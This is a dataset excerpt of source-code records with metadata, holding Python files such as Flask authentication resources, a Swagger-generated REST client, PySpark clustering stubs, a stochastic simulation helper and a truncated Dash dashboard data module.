blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 2 616 | content_id stringlengths 40 40 | detected_licenses listlengths 0 69 | license_type stringclasses 2 values | repo_name stringlengths 5 118 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringlengths 4 63 | visit_date timestamp[us] | revision_date timestamp[us] | committer_date timestamp[us] | github_id int64 2.91k 686M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 23 values | gha_event_created_at timestamp[us] | gha_created_at timestamp[us] | gha_language stringclasses 220 values | src_encoding stringclasses 30 values | language stringclasses 1 value | is_vendor bool 2 classes | is_generated bool 2 classes | length_bytes int64 2 10.3M | extension stringclasses 257 values | content stringlengths 2 10.3M | authors listlengths 1 1 | author_id stringlengths 0 212 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
884cc588e8613418d6e38335716aadf8320bf7d1 | f1ad2ff0061f67540ae0723a65c6e1238e9ca77f | /brainminer/base/api.py | 9ab5865150d1a9442943b8b3293af060688cb8c7 | [] | no_license | rbrecheisen/brainminer | efb89b0d804196a7875fadd3491a9cb7e6cb0428 | 2f5d7bd53ba4761af1f67fa7bd16e2c6724feb7d | refs/heads/master | 2021-01-20T19:08:42.447425 | 2017-06-22T08:28:57 | 2017-06-22T08:28:57 | 34,522,617 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,737 | py | from flask import g, Response
from flask_restful import Resource, HTTPException, abort
from brainminer.auth.exceptions import (
MissingAuthorizationHeaderException, UserNotFoundException, UserNotActiveException, InvalidPasswordException,
SecretKeyNotFoundException, SecretKeyInvalidException, TokenDecodingFailedException, PermissionDeniedException,
UserNotSuperUserException, UserNotAdminException)
from brainminer.auth.authentication import check_login, check_token
from brainminer.auth.permissions import has_permission, check_permission, check_admin, check_superuser
# ----------------------------------------------------------------------------------------------------------------------
class BaseResource(Resource):
# def dispatch_request(self, *args, **kwargs):
#
# code = 400
#
# try:
# return super(BaseResource, self).dispatch_request(*args, **kwargs)
# except HTTPException as e:
# message = e.data['message']
# code = e.code
# except Exception as e:
# message = e.message
#
# if message is not None:
# print('[ERROR] {}.dispatch_request() {}'.format(self.__class__.__name__, message))
# abort(code, message=message)
@staticmethod
def config():
return g.config
@staticmethod
def db_session():
return g.db_session
@staticmethod
def current_user():
return g.current_user
# ----------------------------------------------------------------------------------------------------------------------
class HtmlResource(BaseResource):
@staticmethod
def output_html(data, code, headers=None):
resp = Response(data, mimetype='text/html', headers=headers)
resp.status_code = code
return resp
# ----------------------------------------------------------------------------------------------------------------------
class LoginProtectedResource(BaseResource):
def dispatch_request(self, *args, **kwargs):
message = None
try:
check_login()
except MissingAuthorizationHeaderException as e:
message = e.message
except UserNotFoundException as e:
message = e.message
except UserNotActiveException as e:
message = e.message
except InvalidPasswordException as e:
message = e.message
if message is not None:
print('[ERROR] LoginProtectedResource.dispatch_request() {}'.format(message))
abort(403, message=message)
return super(LoginProtectedResource, self).dispatch_request(*args, **kwargs)
# ----------------------------------------------------------------------------------------------------------------------
class TokenProtectedResource(BaseResource):
def dispatch_request(self, *args, **kwargs):
message = None
try:
check_token()
except MissingAuthorizationHeaderException as e:
message = e.message
except SecretKeyNotFoundException as e:
message = e.message
except SecretKeyInvalidException as e:
message = e.message
except TokenDecodingFailedException as e:
message = e.message
except UserNotFoundException as e:
message = e.message
except UserNotActiveException as e:
message = e.message
if message is not None:
print('[ERROR] TokenProtectedResource.dispatch_request() {}'.format(message))
abort(403, message=message)
return super(TokenProtectedResource, self).dispatch_request(*args, **kwargs)
# ----------------------------------------------------------------------------------------------------------------------
class PermissionProtectedResource(TokenProtectedResource):
def check_admin(self):
try:
check_superuser(self.current_user())
except UserNotSuperUserException:
try:
check_admin(self.current_user())
except UserNotAdminException as e:
print('[ERROR] {}.check_permission() {}'.format(self.__class__.__name__, e.message))
abort(403, message=e.message)
def check_permission(self, permission):
try:
check_permission(self.current_user(), permission)
except PermissionDeniedException as e:
print('[ERROR] {}.check_permission() {}'.format(self.__class__.__name__, e.message))
abort(403, message=e.message)
def has_permission(self, permission):
return has_permission(self.current_user(), permission)
| [
"ralph.brecheisen@gmail.com"
] | ralph.brecheisen@gmail.com |
caa47e63c849de90540d07f3e09c1d7dbb9a06d3 | de4c2e0cf3f54e05ddbc4fa52ae602f6f34fee42 | /models/state.py | 38e3945133c69d05867cce27be1e65a162394f21 | [] | no_license | leobyeon/AirBnB_clone | 04a19d8a3117ada75c83b509cddc4f3111dcc68f | 6edc67944b99af46cae6d65a94a845ad8c7ba5b4 | refs/heads/master | 2020-04-08T09:22:45.570725 | 2018-11-30T17:10:30 | 2018-11-30T17:10:30 | 159,221,015 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 221 | py | #!/usr/bin/python3
"""class State that inherits from BaseModel"""
from models.base_model import BaseModel
class State(BaseModel):
"""class State - inherits from BaseModel - Public class attr - name"""
name = ""
| [
"anovacap@yahoo.com"
] | anovacap@yahoo.com |
ce24083ed8d0e1c5ff4d7de8984e67f9edb7d26f | a8b38079cd7517284306f6df2543b554f0776d27 | /backend/api/catalog/service/catalog_sercive.py | a008b08ee4c43bd18c4154f3934022aee3629012 | [] | no_license | Edlison/Library-Management | 0db658be7ebe66b8674da434d07d65e6f18195a5 | bca4894b1e79987c38f0fcf75722c8c3176fb8c8 | refs/heads/main | 2023-03-18T17:10:06.986698 | 2021-03-09T18:38:09 | 2021-03-09T18:38:09 | 324,115,409 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 452 | py | from backend.api.catalog.mapper.catalog_SQL import search_book_class
def create_catalog_id(book_class):
#假设每种书有两个书架
#每个书架有五层
#每层可以放20本书
#设计catalog_id
count = len(search_book_class(book_class))+1
if count//100 > 1:
return "0"
else:
catalog_id = book_class + '-' + str(count//100+1) + '-' + str((count//20)%5) + '-' + str(count%20)
return catalog_id | [
"ncepuzwq@163.com"
] | ncepuzwq@163.com |
b6bcce36c244e1dcbe8b1d8f45d74d97147ca717 | 8a4a4cab76ddf1b19a017c3e5c765caf9a5fe3cc | /swagger_client/rest.py | 25b9436f7d19c7a00f89c6444071a08bfa2dbbb2 | [] | no_license | ibuler/testsdk | fa724ff129e2a6144c05b8330cd4014c8bfb9a58 | 015bc6ca7da64180a2a11756a4e7cce733aca806 | refs/heads/master | 2020-06-23T09:02:50.322517 | 2019-07-25T05:51:26 | 2019-07-25T05:51:26 | 198,577,933 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 13,160 | py | # coding: utf-8
"""
Jumpserver API Docs
Jumpserver Restful api docs # noqa: E501
OpenAPI spec version: v1
Contact: support@fit2cloud.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import io
import json
import logging
import re
import ssl
import certifi
# python 2 and python 3 compatibility library
import six
from six.moves.urllib.parse import urlencode
try:
import urllib3
except ImportError:
raise ImportError('Swagger python client requires urllib3.')
logger = logging.getLogger(__name__)
class RESTResponse(io.IOBase):
def __init__(self, resp):
self.urllib3_response = resp
self.status = resp.status
self.reason = resp.reason
self.data = resp.data
def getheaders(self):
"""Returns a dictionary of the response headers."""
return self.urllib3_response.getheaders()
def getheader(self, name, default=None):
"""Returns a given response header."""
return self.urllib3_response.getheader(name, default)
class RESTClientObject(object):
def __init__(self, configuration, pools_size=4, maxsize=None):
# urllib3.PoolManager will pass all kw parameters to connectionpool
# https://github.com/shazow/urllib3/blob/f9409436f83aeb79fbaf090181cd81b784f1b8ce/urllib3/poolmanager.py#L75 # noqa: E501
# https://github.com/shazow/urllib3/blob/f9409436f83aeb79fbaf090181cd81b784f1b8ce/urllib3/connectionpool.py#L680 # noqa: E501
# maxsize is the number of requests to host that are allowed in parallel # noqa: E501
# Custom SSL certificates and client certificates: http://urllib3.readthedocs.io/en/latest/advanced-usage.html # noqa: E501
# cert_reqs
if configuration.verify_ssl:
cert_reqs = ssl.CERT_REQUIRED
else:
cert_reqs = ssl.CERT_NONE
# ca_certs
if configuration.ssl_ca_cert:
ca_certs = configuration.ssl_ca_cert
else:
# if not set certificate file, use Mozilla's root certificates.
ca_certs = certifi.where()
addition_pool_args = {}
if configuration.assert_hostname is not None:
addition_pool_args['assert_hostname'] = configuration.assert_hostname # noqa: E501
if maxsize is None:
if configuration.connection_pool_maxsize is not None:
maxsize = configuration.connection_pool_maxsize
else:
maxsize = 4
# https pool manager
if configuration.proxy:
self.pool_manager = urllib3.ProxyManager(
num_pools=pools_size,
maxsize=maxsize,
cert_reqs=cert_reqs,
ca_certs=ca_certs,
cert_file=configuration.cert_file,
key_file=configuration.key_file,
proxy_url=configuration.proxy,
**addition_pool_args
)
else:
self.pool_manager = urllib3.PoolManager(
num_pools=pools_size,
maxsize=maxsize,
cert_reqs=cert_reqs,
ca_certs=ca_certs,
cert_file=configuration.cert_file,
key_file=configuration.key_file,
**addition_pool_args
)
def request(self, method, url, query_params=None, headers=None,
body=None, post_params=None, _preload_content=True,
_request_timeout=None):
"""Perform requests.
:param method: http request method
:param url: http request url
:param query_params: query parameters in the url
:param headers: http request headers
:param body: request json body, for `application/json`
:param post_params: request post parameters,
`application/x-www-form-urlencoded`
and `multipart/form-data`
:param _preload_content: if False, the urllib3.HTTPResponse object will
be returned without reading/decoding response
data. Default is True.
:param _request_timeout: timeout setting for this request. If one
number provided, it will be total request
timeout. It can also be a pair (tuple) of
(connection, read) timeouts.
"""
method = method.upper()
assert method in ['GET', 'HEAD', 'DELETE', 'POST', 'PUT',
'PATCH', 'OPTIONS']
if post_params and body:
raise ValueError(
"body parameter cannot be used with post_params parameter."
)
post_params = post_params or {}
headers = headers or {}
timeout = None
if _request_timeout:
if isinstance(_request_timeout, (int, ) if six.PY3 else (int, long)): # noqa: E501,F821
timeout = urllib3.Timeout(total=_request_timeout)
elif (isinstance(_request_timeout, tuple) and
len(_request_timeout) == 2):
timeout = urllib3.Timeout(
connect=_request_timeout[0], read=_request_timeout[1])
if 'Content-Type' not in headers:
headers['Content-Type'] = 'application/json'
try:
# For `POST`, `PUT`, `PATCH`, `OPTIONS`, `DELETE`
if method in ['POST', 'PUT', 'PATCH', 'OPTIONS', 'DELETE']:
if query_params:
url += '?' + urlencode(query_params)
if re.search('json', headers['Content-Type'], re.IGNORECASE):
request_body = None
if body is not None:
request_body = json.dumps(body)
r = self.pool_manager.request(
method, url,
body=request_body,
preload_content=_preload_content,
timeout=timeout,
headers=headers)
elif headers['Content-Type'] == 'application/x-www-form-urlencoded': # noqa: E501
r = self.pool_manager.request(
method, url,
fields=post_params,
encode_multipart=False,
preload_content=_preload_content,
timeout=timeout,
headers=headers)
elif headers['Content-Type'] == 'multipart/form-data':
# must del headers['Content-Type'], or the correct
# Content-Type which generated by urllib3 will be
# overwritten.
del headers['Content-Type']
r = self.pool_manager.request(
method, url,
fields=post_params,
encode_multipart=True,
preload_content=_preload_content,
timeout=timeout,
headers=headers)
# Pass a `string` parameter directly in the body to support
# other content types than Json when `body` argument is
# provided in serialized form
elif isinstance(body, str):
request_body = body
r = self.pool_manager.request(
method, url,
body=request_body,
preload_content=_preload_content,
timeout=timeout,
headers=headers)
else:
# Cannot generate the request from given parameters
msg = """Cannot prepare a request message for provided
arguments. Please check that your arguments match
declared content type."""
raise ApiException(status=0, reason=msg)
# For `GET`, `HEAD`
else:
r = self.pool_manager.request(method, url,
fields=query_params,
preload_content=_preload_content,
timeout=timeout,
headers=headers)
except urllib3.exceptions.SSLError as e:
msg = "{0}\n{1}".format(type(e).__name__, str(e))
raise ApiException(status=0, reason=msg)
if _preload_content:
r = RESTResponse(r)
# In the python 3, the response.data is bytes.
# we need to decode it to string.
if six.PY3:
r.data = r.data.decode('utf8')
# log response body
logger.debug("response body: %s", r.data)
if not 200 <= r.status <= 299:
raise ApiException(http_resp=r)
return r
def GET(self, url, headers=None, query_params=None, _preload_content=True,
_request_timeout=None):
return self.request("GET", url,
headers=headers,
_preload_content=_preload_content,
_request_timeout=_request_timeout,
query_params=query_params)
def HEAD(self, url, headers=None, query_params=None, _preload_content=True,
_request_timeout=None):
return self.request("HEAD", url,
headers=headers,
_preload_content=_preload_content,
_request_timeout=_request_timeout,
query_params=query_params)
def OPTIONS(self, url, headers=None, query_params=None, post_params=None,
body=None, _preload_content=True, _request_timeout=None):
return self.request("OPTIONS", url,
headers=headers,
query_params=query_params,
post_params=post_params,
_preload_content=_preload_content,
_request_timeout=_request_timeout,
body=body)
def DELETE(self, url, headers=None, query_params=None, body=None,
_preload_content=True, _request_timeout=None):
return self.request("DELETE", url,
headers=headers,
query_params=query_params,
_preload_content=_preload_content,
_request_timeout=_request_timeout,
body=body)
def POST(self, url, headers=None, query_params=None, post_params=None,
body=None, _preload_content=True, _request_timeout=None):
return self.request("POST", url,
headers=headers,
query_params=query_params,
post_params=post_params,
_preload_content=_preload_content,
_request_timeout=_request_timeout,
body=body)
def PUT(self, url, headers=None, query_params=None, post_params=None,
body=None, _preload_content=True, _request_timeout=None):
return self.request("PUT", url,
headers=headers,
query_params=query_params,
post_params=post_params,
_preload_content=_preload_content,
_request_timeout=_request_timeout,
body=body)
def PATCH(self, url, headers=None, query_params=None, post_params=None,
body=None, _preload_content=True, _request_timeout=None):
return self.request("PATCH", url,
headers=headers,
query_params=query_params,
post_params=post_params,
_preload_content=_preload_content,
_request_timeout=_request_timeout,
body=body)
class ApiException(Exception):
def __init__(self, status=None, reason=None, http_resp=None):
if http_resp:
self.status = http_resp.status
self.reason = http_resp.reason
self.body = http_resp.data
self.headers = http_resp.getheaders()
else:
self.status = status
self.reason = reason
self.body = None
self.headers = None
def __str__(self):
"""Custom error messages for exception"""
error_message = "({0})\n"\
"Reason: {1}\n".format(self.status, self.reason)
if self.headers:
error_message += "HTTP response headers: {0}\n".format(
self.headers)
if self.body:
error_message += "HTTP response body: {0}\n".format(self.body)
return error_message
| [
"ibuler@qq.com"
] | ibuler@qq.com |
690db84d52b3c9e5c0ba0cd8cae411d9a50e54d5 | d152bbe5ab49bf4864fed1a81a696cba911eeb5e | /env/bin/django-admin.py | c866a5401b67657b3f1188944fe3200c42e67036 | [] | no_license | SanjayaBista/Ecommerce | 298d88c7a48177c529aa667f8fe54bdd805186be | 1cc9fc7bde3bc8f2769d70476648302058e36320 | refs/heads/master | 2023-07-08T20:12:47.423166 | 2021-08-11T07:35:39 | 2021-08-11T07:35:39 | 389,492,311 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 683 | py | #!/home/sanjay/Desktop/Ecommerce/env/bin/python3
# When the django-admin.py deprecation ends, remove this script.
import warnings
from django.core import management
try:
from django.utils.deprecation import RemovedInDjango40Warning
except ImportError:
raise ImportError(
'django-admin.py was deprecated in Django 3.1 and removed in Django '
'4.0. Please manually remove this script from your virtual environment '
'and use django-admin instead.'
)
if __name__ == "__main__":
warnings.warn(
'django-admin.py is deprecated in favor of django-admin.',
RemovedInDjango40Warning,
)
management.execute_from_command_line()
| [
"Sanjaybista681@gmail.com"
] | Sanjaybista681@gmail.com |
6afa12447439a57111bd4960968f54eb2b23402e | ceff7a65dea36af543620140b3f9eea944ceef26 | /PythonSchCodeRepo/query_simulation.py | 6233ffa97a5e3ccbf74fe63f769a78faf7bf9f16 | [
"MIT"
] | permissive | AndreBerglundUmU/SchCodeRepo | 4fb4cacb30b4204e80ab3ccde2fec59949d5b5d5 | 264b86ad781fbb7f69118c082b8fa444e68362b3 | refs/heads/master | 2020-03-11T18:58:52.099893 | 2018-07-10T11:29:02 | 2018-07-10T11:29:02 | 130,193,566 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,533 | py | #! /usr/bin/env python
import numpy as np
import validation_functions as vf
# import randomstate as rnd
# Might be necessary for parallel rng generation
# https://pypi.org/project/randomstate/1.10.1/
# example
# workers.simulation(L,M,T,N,sigma,u0Fun,schemes.PSLieSpl,[queries]) if queries is one query
# import importlib
# importlib.reload(...)
class Query(object):
# This class will assume that N is a power of 2 and that the storage size is as well
def __init__(self, function, spaceStorageSize, desiredTimeStorageSize,N):
self.function = function
self.spaceStorageSize = spaceStorageSize
self.N = N
if desiredTimeStorageSize >= N:
self.periodicity = 1
self.timeStorageSize = N + 1
else:
self.periodicity = int(N / desiredTimeStorageSize)
self.timeStorageSize = desiredTimeStorageSize + 1
def preallocateQueryResult(self):
return np.zeros(shape=(self.timeStorageSize,self.spaceStorageSize),dtype=np.complex_)
def make_query(function,spaceStorageSize,desiredTimeStorageSize,N):
query = Query(function, spaceStorageSize, desiredTimeStorageSize,N)
return query
def pseudospectral_simulation(N,h,kSq,sigma,u0,W,scheme,queries):
vf.is_vector(u0)
vf.is_vector(kSq)
# Need to preallocate memory for query results
currU = u0
queryStorage = []
queryIndex = []
for q in range(len(queries)):
queryStorage.append(queries[q].preallocateQueryResult())
queryStorage[q][0,:] = queries[q].function(currU)
queryIndex.append(1)
for i in range(N):
dW = W[:,i]
# dW = np.random.randn(2,1)*(h/2)
currU = scheme(currU,dW,kSq,h,sigma)
for q in range(len(queries)):
if (i % queries[q].periodicity) == (queries[q].periodicity - 1):
queryStorage[q][queryIndex[q],:] = queries[q].function(currU)
queryIndex[q] += 1
return queryStorage
def finite_difference_simulation(N,h,FDMatSq,sigma,u0,W,scheme,queries):
vf.is_vector(u0)
# Need to preallocate memory for query results
currU = u0
queryStorage = []
queryIndex = []
for q in range(len(queries)):
queryStorage.append(queries[q].preallocateQueryResult())
queryStorage[q][0,:] = queries[q].function(currU)
queryIndex.append(1)
for i in range(N):
dW = W[:,i]
# dW = np.random.randn(2,1)*(h/2)
currU = scheme(currU,dW,FDMatSq,h,sigma)
for q in range(len(queries)):
if (i % queries[q].periodicity) == (queries[q].periodicity - 1):
#print(currU)
#print(type(currU))
#print(q)
queryStorage[q][queryIndex[q],:] = queries[q].function(currU)
queryIndex[q] += 1
return queryStorage | [
"andre.berglund@umu.se"
] | andre.berglund@umu.se |
af3e7dc076dc9b0657b39e4c6ba1ec600f321c7e | 385a8c52f416401e2bca1f3e5051d15274e6885f | /project/yelp-elt-py/venv/lib/python3.7/site-packages/pyspark/mllib/clustering.pyi | a88f1420dcde699c1a3d232a6ac7c9e80ad57e2c | [] | no_license | guilhermebsa/data-engineering-databricks | ecc47e51a07af26db6c2b6f338f29ef4366cefd3 | 6c71746eaf7de16a5750a6dab2ffc70da017e464 | refs/heads/master | 2022-09-06T23:54:44.197177 | 2020-05-30T00:42:25 | 2020-05-30T00:42:25 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,947 | pyi | # Stubs for pyspark.mllib.clustering (Python 3.5)
#
from typing import overload
from typing import Any, List, NamedTuple, Optional, Tuple, TypeVar
import array
from numpy import float64, int64, ndarray # type: ignore
from py4j.java_gateway import JavaObject # type: ignore
from pyspark.mllib._typing import VectorLike
from pyspark.context import SparkContext
from pyspark.rdd import RDD
from pyspark.mllib.common import JavaModelWrapper
from pyspark.mllib.stat.distribution import MultivariateGaussian
from pyspark.mllib.util import Saveable, Loader, JavaLoader, JavaSaveable
from pyspark.streaming.dstream import DStream
T = TypeVar("T")
class BisectingKMeansModel(JavaModelWrapper):
centers: List[ndarray]
def __init__(self, java_model: JavaObject) -> None: ...
@property
def clusterCenters(self) -> List[ndarray]: ...
@property
def k(self) -> int: ...
@overload
def predict(self, x: VectorLike) -> int: ...
@overload
def predict(self, x: RDD[VectorLike]) -> RDD[int]: ...
@overload
def computeCost(self, x: VectorLike) -> float: ...
@overload
def computeCost(self, x: RDD[VectorLike]) -> float: ...
class BisectingKMeans:
@classmethod
def train(
self,
rdd: RDD[VectorLike],
k: int = ...,
maxIterations: int = ...,
minDivisibleClusterSize: float = ...,
seed: int = ...,
) -> BisectingKMeansModel: ...
class KMeansModel(Saveable, Loader[KMeansModel]):
centers: List[ndarray]
def __init__(self, centers: List[ndarray]) -> None: ...
@property
def clusterCenters(self) -> List[ndarray]: ...
@property
def k(self) -> int: ...
@overload
def predict(self, x: VectorLike) -> int: ...
@overload
def predict(self, x: RDD[VectorLike]) -> RDD[int]: ...
def computeCost(self, rdd: RDD[VectorLike]) -> float: ...
def save(self, sc: SparkContext, path: str) -> None: ...
@classmethod
def load(cls, sc: SparkContext, path: str) -> KMeansModel: ...
class KMeans:
@classmethod
def train(
cls,
rdd: RDD[VectorLike],
k: int,
maxIterations: int = ...,
runs: int = ...,
initializationMode: str = ...,
seed: Optional[int] = ...,
initializationSteps: int = ...,
epsilon: float = ...,
initialModel: Optional[KMeansModel] = ...,
) -> KMeansModel: ...
class GaussianMixtureModel(
JavaModelWrapper, JavaSaveable, JavaLoader[GaussianMixtureModel]
):
@property
def weights(self) -> ndarray: ...
@property
def gaussians(self) -> List[MultivariateGaussian]: ...
@property
def k(self) -> int: ...
@overload
def predict(self, x: VectorLike) -> int64: ...
@overload
def predict(self, x: RDD[VectorLike]) -> RDD[int]: ...
@overload
def predictSoft(self, x: VectorLike) -> ndarray: ...
@overload
def predictSoft(self, x: RDD[VectorLike]) -> RDD[array.array]: ...
@classmethod
def load(cls, sc: SparkContext, path: str) -> GaussianMixtureModel: ...
class GaussianMixture:
@classmethod
def train(
cls,
rdd: RDD[VectorLike],
k: int,
convergenceTol: float = ...,
maxIterations: int = ...,
seed: Optional[int] = ...,
initialModel: Optional[GaussianMixtureModel] = ...,
) -> GaussianMixtureModel: ...
class PowerIterationClusteringModel(
JavaModelWrapper, JavaSaveable, JavaLoader[PowerIterationClusteringModel]
):
@property
def k(self) -> int: ...
def assignments(self) -> RDD[PowerIterationClustering.Assignment]: ...
@classmethod
def load(cls, sc: SparkContext, path: str) -> PowerIterationClusteringModel: ...
class PowerIterationClustering:
@classmethod
def train(
cls,
rdd: RDD[Tuple[int, int, float]],
k: int,
maxIterations: int = ...,
initMode: str = ...,
) -> PowerIterationClusteringModel: ...
class Assignment(NamedTuple("Assignment", [("id", int), ("cluster", int)])): ...
class StreamingKMeansModel(KMeansModel):
def __init__(self, clusterCenters, clusterWeights) -> None: ...
@property
def clusterWeights(self) -> List[float64]: ...
centers: ndarray
def update(
self, data: RDD[VectorLike], decayFactor: float, timeUnit: str
) -> StreamingKMeansModel: ...
class StreamingKMeans:
def __init__(
self, k: int = ..., decayFactor: float = ..., timeUnit: str = ...
) -> None: ...
def latestModel(self) -> StreamingKMeansModel: ...
def setK(self, k: int) -> StreamingKMeans: ...
def setDecayFactor(self, decayFactor: float) -> StreamingKMeans: ...
def setHalfLife(self, halfLife: float, timeUnit: str) -> StreamingKMeans: ...
def setInitialCenters(
self, centers: List[VectorLike], weights: List[float]
) -> StreamingKMeans: ...
def setRandomCenters(
self, dim: int, weight: float, seed: int
) -> StreamingKMeans: ...
def trainOn(self, dstream: DStream[VectorLike]) -> None: ...
def predictOn(self, dstream: DStream[VectorLike]) -> DStream[int]: ...
def predictOnValues(
self, dstream: DStream[Tuple[T, VectorLike]]
) -> DStream[Tuple[T, int]]: ...
class LDAModel(JavaModelWrapper, JavaSaveable, Loader[LDAModel]):
def topicsMatrix(self) -> ndarray: ...
def vocabSize(self) -> int: ...
def describeTopics(
self, maxTermsPerTopic: Optional[int] = ...
) -> List[Tuple[List[int], List[float]]]: ...
@classmethod
def load(cls, sc: SparkContext, path: str) -> LDAModel: ...
class LDA:
@classmethod
def train(
cls,
rdd: RDD[Tuple[int, VectorLike]],
k: int = ...,
maxIterations: int = ...,
docConcentration: float = ...,
topicConcentration: float = ...,
seed: Optional[int] = ...,
checkpointInterval: int = ...,
optimizer: str = ...,
) -> LDAModel: ...
| [
"luanmorenomaciel@hotmail.com"
] | luanmorenomaciel@hotmail.com |
04f49a4a47c3e50ee9097e36a5be52bee5f7c066 | 5d3c77ca59b0b508e59efe4011575d298375b29f | /components/functions.py | 9a99bd8493bfa899ba00641595d6391e00491280 | [] | no_license | luisg/dash_sample_dashboard | f10581362dfdf23666c5430f03b958b996d6db00 | c93cef5030aef79fa581d98179dec1ce0b20a6f1 | refs/heads/master | 2023-08-25T04:56:00.893608 | 2021-10-10T03:18:27 | 2021-10-10T03:18:27 | 399,231,842 | 0 | 0 | null | 2021-08-23T19:55:58 | 2021-08-23T19:55:57 | null | UTF-8 | Python | false | false | 53,904 | py | from datetime import datetime as dt
from datetime import date, timedelta
from datetime import datetime
import plotly.graph_objs as go
from plotly import tools
import numpy as np
import pandas as pd
pd.options.mode.chained_assignment = None
# Read in Travel Report Data
df = pd.read_csv('data/performance_analytics_cost_and_ga_metrics.csv')
df.rename(columns={
'Travel Product': 'Placement type',
'Spend - This Year': 'Spend TY',
'Spend - Last Year': 'Spend LY',
'Sessions - This Year': 'Sessions - TY',
'Sessions - Last Year': 'Sessions - LY',
'Bookings - This Year': 'Bookings - TY',
'Bookings - Last Year': 'Bookings - LY',
'Revenue - This Year': 'Revenue - TY',
'Revenue - Last Year': 'Revenue - LY',
}, inplace=True)
df['Date'] = pd.to_datetime(df['Date'])
current_year = df['Year'].max()
current_week = df[df['Year'] == current_year]['Week'].max()
now = datetime.now()
datestamp = now.strftime("%Y%m%d")
columns = ['Spend TY', 'Spend LY', 'Sessions - TY', 'Sessions - LY', 'Bookings - TY', 'Bookings - LY', 'Revenue - TY', 'Revenue - LY']
# Define Formatters
def formatter_currency(x):
return "${:,.0f}".format(x) if x >= 0 else "(${:,.0f})".format(abs(x))
def formatter_currency_with_cents(x):
return "${:,.2f}".format(x) if x >= 0 else "(${:,.2f})".format(abs(x))
def formatter_percent(x):
return "{:,.1f}%".format(x) if x >= 0 else "({:,.1f}%)".format(abs(x))
def formatter_percent_2_digits(x):
return "{:,.2f}%".format(x) if x >= 0 else "({:,.2f}%)".format(abs(x))
def formatter_number(x):
return "{:,.0f}".format(x) if x >= 0 else "({:,.0f})".format(abs(x))
# First Data Table Update Function
def update_first_datatable(start_date, end_date, category, aggregation):
if start_date is not None:
start_date = dt.strptime(start_date, '%Y-%m-%d')
start_date_string = start_date.strftime('%Y-%m-%d')
if end_date is not None:
end_date = dt.strptime(end_date, '%Y-%m-%d')
end_date_string = end_date.strftime('%Y-%m-%d')
days_selected = (end_date - start_date).days
prior_start_date = start_date - timedelta(days_selected + 1)
prior_start_date_string = datetime.strftime(prior_start_date, '%Y-%m-%d')
prior_end_date = end_date - timedelta(days_selected + 1)
prior_end_date_string = datetime.strftime(prior_end_date, '%Y-%m-%d')
if aggregation == 'Placement type':
df1 = df[(df['Category'] == category)].groupby(['Date', aggregation]).sum()[columns].reset_index()
df_by_date = df1[(df1['Date'] >= start_date_string) & (df1['Date'] <= end_date_string)].groupby([aggregation]).sum()[columns].reset_index()
df_by_date_prior = df1[(df1['Date'] >= prior_start_date_string) & (df1['Date'] <= prior_end_date_string)].groupby([aggregation]).sum()[['Spend TY', 'Sessions - TY', 'Bookings - TY', 'Revenue - TY']].reset_index()
df_by_date_prior.rename(columns={'Spend TY' : 'Spend - LP', 'Sessions - TY' : 'Sessions - LP', 'Bookings - TY' : 'Bookings - LP','Revenue - TY' : 'Revenue - LP'}, inplace=True)
df_by_date_combined = pd.merge(df_by_date, df_by_date_prior, on=[aggregation])
elif aggregation == 'GA Category':
df1 = df.groupby(['Date', aggregation]).sum()[columns].reset_index()
df_by_date = df1[(df1['Date'] >= start_date_string) & (df1['Date'] <= end_date_string)].groupby([aggregation]).sum()[columns].reset_index()
df_by_date_prior = df1[(df1['Date'] >= prior_start_date_string) & (df1['Date'] <= prior_end_date_string)].groupby([aggregation]).sum()[['Spend TY', 'Sessions - TY', 'Bookings - TY', 'Revenue - TY']].reset_index()
df_by_date_prior.rename(columns={'Spend TY' : 'Spend - LP', 'Sessions - TY' : 'Sessions - LP', 'Bookings - TY' : 'Bookings - LP','Revenue - TY' : 'Revenue - LP'}, inplace=True)
df_by_date_combined = pd.merge(df_by_date, df_by_date_prior, on=[aggregation])
df_by_date_combined.rename(columns={'GA Category':'Placement type'}, inplace=True)
elif aggregation == 'Birst Category':
df1 = df.groupby(['Date', aggregation]).sum()[columns].reset_index()
df_by_date = df1[(df1['Date'] >= start_date_string) & (df1['Date'] <= end_date_string)].groupby([aggregation]).sum()[columns].reset_index()
df_by_date_prior = df1[(df1['Date'] >= prior_start_date_string) & (df1['Date'] <= prior_end_date_string)].groupby([aggregation]).sum()[['Spend TY', 'Sessions - TY', 'Bookings - TY', 'Revenue - TY']].reset_index()
df_by_date_prior.rename(columns={'Spend TY' : 'Spend - LP', 'Sessions - TY' : 'Sessions - LP', 'Bookings - TY' : 'Bookings - LP','Revenue - TY' : 'Revenue - LP'}, inplace=True)
df_by_date_combined = pd.merge(df_by_date, df_by_date_prior, on=[aggregation])
df_by_date_combined.rename(columns={'Birst Category':'Placement type'}, inplace=True)
# Calculate Differences on-the-fly
df_by_date_combined['Spend PoP (%)'] = np.nan
df_by_date_combined['Spend YoY (%)'] = np.nan
df_by_date_combined['Sessions PoP (%)'] = np.nan
df_by_date_combined['Sessions YoY (%)'] = np.nan
df_by_date_combined['Bookings PoP (%)'] = np.nan
df_by_date_combined['Bookings YoY (%)'] = np.nan
df_by_date_combined['Revenue PoP (%)'] = np.nan
df_by_date_combined['Revenue YoY (%)'] = np.nan
df_by_date_combined['Spend_PoP_abs_conditional'] = df_by_date_combined['Spend PoP (Abs)'] = ((df_by_date_combined['Spend TY'] - df_by_date_combined['Spend - LP']))
# Formatter
df_by_date_combined['Spend PoP (Abs)'] = df_by_date_combined['Spend PoP (Abs)'].apply(formatter_currency)
df_by_date_combined['Spend_PoP_percent_conditional'] = df_by_date_combined['Spend PoP (%)'] = np.where((df_by_date_combined['Spend TY'] != 0) & (df_by_date_combined['Spend - LP'] != 0),\
